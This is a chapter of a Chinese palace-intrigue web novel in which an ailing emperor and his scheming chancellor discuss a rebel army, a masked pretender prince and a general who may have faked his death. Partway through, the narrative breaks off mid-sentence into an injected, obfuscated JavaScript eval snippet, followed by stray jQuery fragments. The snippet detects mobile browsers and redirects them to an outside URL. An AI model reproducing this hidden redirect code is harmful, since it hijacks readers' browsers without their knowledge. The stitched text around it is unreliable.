殿内，药香与熏香交织，萧子由半倚在明黄锦缎中，面色在宫灯下显出一种不自然的苍白，眼下带着浓重的青影。


    他手中无意识地把玩着一枚温凉的玉珏——那是多年前，徐清宴随母亲入宫见皇后时，带给他的。当时他还是唯一住在冷宫的皇子。玉质普通，他却一直留着。


    “徐清宴……”萧子由开口，声音不高，却像砂纸磨过粗陶，带着一种从胸腔深处透出的嘶哑与刻骨的冷意，“还有她那个不知从哪里挖出来的‘太子’……快打到朕的眼皮底下了。”


    他顿了顿，嘴角扯出一个毫无笑意的弧度，指尖因用力而微微发白，“卫央守着天门关，却给朕送来‘开门投敌’的奏报！”


    他猛地将玉珏攥紧，胸膛微微起伏。这无力感让他更加暴怒。


    太医们战战兢兢，众口一词说他的身体是因为“忧思过度、怒急攻心，需静养调理”。恨意如同毒藤，缠绕着他的心脏，日夜啃噬。这恨，其来有自，且复杂难言。


    幼时，韩退之总是沉稳持重，会不动声色地帮他挡开其他皇子的刁难；韩子厚虽然不喜他，但他机敏聪慧，为了哄兄长，总能想出不错的点子。按理来说，他们应当是他夺位路上最好的助力。


    可老皇帝不让，而他们也不肯……


    他是皇子，他们是臣子。韩家军那柄锋利无匹的“刀”，皇帝始终牢牢要握在自己手里，不会给机会让他向任何一位皇子倾斜，更何况不受父皇喜欢的他。他与韩家兄弟的反目是必然的，是皇帝必须看到的！


    可是他们不理解他，不信他。只觉得他是背叛者，是骗子，不愿意真的支持他！哪个皇帝会对他们功高盖主不忌惮？他若是能取得韩家军，便再不用处处掣肘于顾岚。


    韩退之帮他夺位，却不让他手触碰韩家军一点事务上，这让他如何信任他真的对自己向小时候那样好？


    夺他的兵权是双方都好，韩家就剩俩个独苗，难道活着不比什么都重要？


    他屡次示好、暗示、施压，希望韩退之能彻底成为他手中最听话的利器，助他荡平反对声音，稳固这得来不易……但还是韩退之拒绝！


    那柄刀，不愿成为他萧子由的刀。它只愿为“国”而战，而非为“君”之私欲。


    顾岚身着紫袍，身姿如松般立在御榻前三步处，闻言将头垂下恰到好处的角度，声音平稳而恭顺：“陛下息怒。卫央投降已是实情。臣已严令其余将领死守，并着人核查各个关内将领动向，若再有异心者，定以军法严惩，绝不容情。”


    他的姿态无可挑剔，每一个字都符合臣子的本分。然而，低垂的眼睑掩住了眸底深处飞速流转的盘算。


    萧子由这副被暗疾和焦虑折磨的样子，对他而言，利弊参半。弊在朝局可能因主君孱弱而更加动荡，利则在于……一个精力不济、不得不更多倚赖外朝的皇帝，能给他这个宰相更大的权柄和操作空间。萧子由身体尚健时，那份多疑与独断，对自己这个“从龙功臣”也多有防范掣肘。


    萧子由锐利的目光在顾岚恭顺的头顶停留片刻，仿佛要穿透那官帽，看进他心里去。


    他当然知道顾岚的恭顺之下藏着怎样的野心与算计。与顾岚合作，是为登基不得已的选择，他需要顾相一党的势力夺位，如今亦需要他的力量来平衡朝局。


    可这合作，何尝不是一种受制？顾岚手中掌握的军权、门生故吏遍布的朝堂，都像无形的绳索，牵绊着他这个皇帝的手脚。这种被迫倚重、暗中较劲却又不得不维持表面和谐的憋屈感，时常烧灼着他的帝王尊严。


    此刻，面对徐清宴的兵锋，他依然需要顾岚的力量，这份认知让他心中的郁火更炽。


    “息怒？”萧子由冷嗤一声，将那玉珏重重按在锦褥上，喉间又泛起那股熟悉的、带着铁锈味的痒意，他强行压了下去，“顾相，朕的怒火，是因为朕的大军，在叛军面前节节败退！是因为朕的将领，心生异志！你告诉朕，朝廷耗费无数钱粮，养着的就是这样的兵马？先帝当年能倚仗他们平定四方，到了朕这里，就成了纸糊的摆设？”


    他身体前倾，这个动作让他眼前微黑：“是因为对手是韩家军？是因为很多人心里，还认韩退之是忠臣良将，是朕……逼反忠良？”


    这话既是在质问军队的无能，是在问朝野潜在的态度，更是在发泄自己对韩家的复杂怨怼，以及内心深处对自身皇权合法性的焦虑——这份焦虑，因“嘉敏太子”竟然带来了巨大号召力而急剧放大。


    顾岚心头凛然，维持着垂首的姿态，声音却多了几分沉凝：“陛下，叛军势大，确有缘由。韩退之经营北境多年，韩家军骁勇善战之名深入人心。”


    他停顿了一下，他知道先帝本身就是萧子由那根敏感的弦，“对一些念旧或对先帝末年所作所为有微词者，颇具蛊惑之力。我军中将领，新老交替，历练不同，面对如此强敌与复杂局面，未能一击制胜也情有可原。”


    他将原因归于客观，暗示局势的复杂性非一日之寒。


    “说到那‘嘉敏太子’，”顾岚略微抬首，目光恭谨地看向萧子由苍白却依旧锐利的脸，“据前方细作回报，叛军营中那位，始终以面具覆脸，极少公开示人。”


    萧子由的眼睛眯了起来，寒光闪动：“你是说……”


    “臣在想，”顾岚字斟句酌，“若此‘太子’身份存疑，不过徐清宴寻来蛊惑人心的傀儡，而我等能设法查明真相，公之于众……叛军所谓‘正统’之名便会崩塌。军心动摇之际，便是我军反击或重整的良机。”


    萧子由重复着这四个字，紧紧锁住顾岚，“顾相，关于朕那位‘堂兄’的下落，你……当真一无所知？”他的语气平淡，却带着千斤重压。


    先帝对顾岚的倚重，他是知道的，许多隐秘勾当，包括对前太子一系的监控与处置，顾岚都深度参与。他不信顾岚手里会没有一点关于萧泰安生死下落的底牌。


    顾岚脸上浮现出恰到好处的凝重与一丝无奈的坦诚，微微苦笑：“陛下明鉴。先帝确曾命臣处理相关事宜。宁远寺邓永年等人拼死救走众僧，此后便如泥牛入海，踪迹难寻。臣这些年来未尝懈怠查访，却始终未得确切音讯。”


    他稍顿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974465|157343||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，语气转为谨慎的推测：“至于叛军营中那位……以邓永年的性子，不会将他的主公置于两军对垒之险地。若是寻一替身以安众心、揽大义，臣私心忖度，可能性也不小。”


    萧子由沉默地听着，手指无意识地摩挲着玉珏上当年随手刻下的、一道浅浅的痕迹。疲惫与体内隐隐的钝痛阵阵袭来，让他头脑发胀，但顾岚话语中那些未尽的意味，他却听得明白。


    “还有韩退之，”顾岚见萧子由不语，又低声补充了一句，“尸骨未见，叛军亦讳莫如深。臣斗胆揣测，若……若那面具之下并非萧泰安，而是他……假死脱身，如今以太子之名行复仇之实……亦未可知。”


    这话道出萧子由心中最大的猜疑——韩退之是否真的死了？


    萧子由闭上了眼睛，深深吸了一口气，“朕……知道了。”声音透出浓浓的倦意与一丝不易察觉的虚弱，挥了挥手，动作有些无力，“顾相，叛军之势，必须遏制。韩家余孽，朕不想再听到他们的任何‘捷报’。那些跟着造反的，未必铁板一块。仗打久了，人心会散，朝廷……的国库，也支撑不起旷日持久的消耗。”


    他睁开眼，最后看向顾岚，依然带着帝王不容置疑的威严：“朕不管你用什么法子，离间、分化、揭穿、强攻……朕要看到成效。天门关，不能再退了。还有，”他顿了顿，声音更冷，“给朕好好查，军中、朝中，还有谁的心，向着不该向的地方。”


    这既是命令，也是施压，更是一种无奈的托付与发泄。他身体如此，明知顾岚可能借机坐大，却也不得不将更多的筹码推到他面前，只求能扑灭那即将真的烧到他的火焰。


    “臣，遵旨。必当殚精竭虑，为陛下分忧，早日戡平叛乱，稳固社稷。”顾岚深深一揖到底，姿态谦卑而坚定，“请陛下务必保重龙体，此乃国之根本。”


    萧子由不再回应，重新合上眼，仿佛已倦极入睡，只能看到微微起伏的胸口。


    顾岚保持着恭敬的姿势，缓缓退出寝殿。厚重的殿门在身后无声关闭，隔绝了内里令人窒息的药味、衰颓。


    廊下夜风清冷，扑面而来，让他精神微微一振。


    他沿着长长的宫道缓步而行，灯笼的光晕将他沉思的身影拉得忽长忽短。萧子由对韩家那掺杂着旧谊与嫉妒的恨意，他看得清楚；皇帝对自身健康与皇权旁落的双重焦虑，他也心知肚明。


    如今萧子由的身体与精神，显然都已深受其扰。或许，是该更仔细地审视一下萧氏宗族里那些年幼的子弟了。


    未雨绸缪，总是没错。


    至于徐清宴和那个“嘉敏太子”……顾岚眼底掠过一丝难以捉摸的幽光。


    他本以为一个女人掀不起什么风浪，她娘还需要她爹的军旗子，她一个女人，没有韩退之她什么都不会做的成。倒是和邓永年也不知是不是真的达成共识了，如此大张旗鼓，倒有几分扎手……


    比起这些，借机会将萧子由的人再铲一铲也很重要。


    前方宫门在望，夜色深沉。顾岚轻轻整理了一下紫袍的衣袖，脸上恢复了往日人见到的的老相顾岚。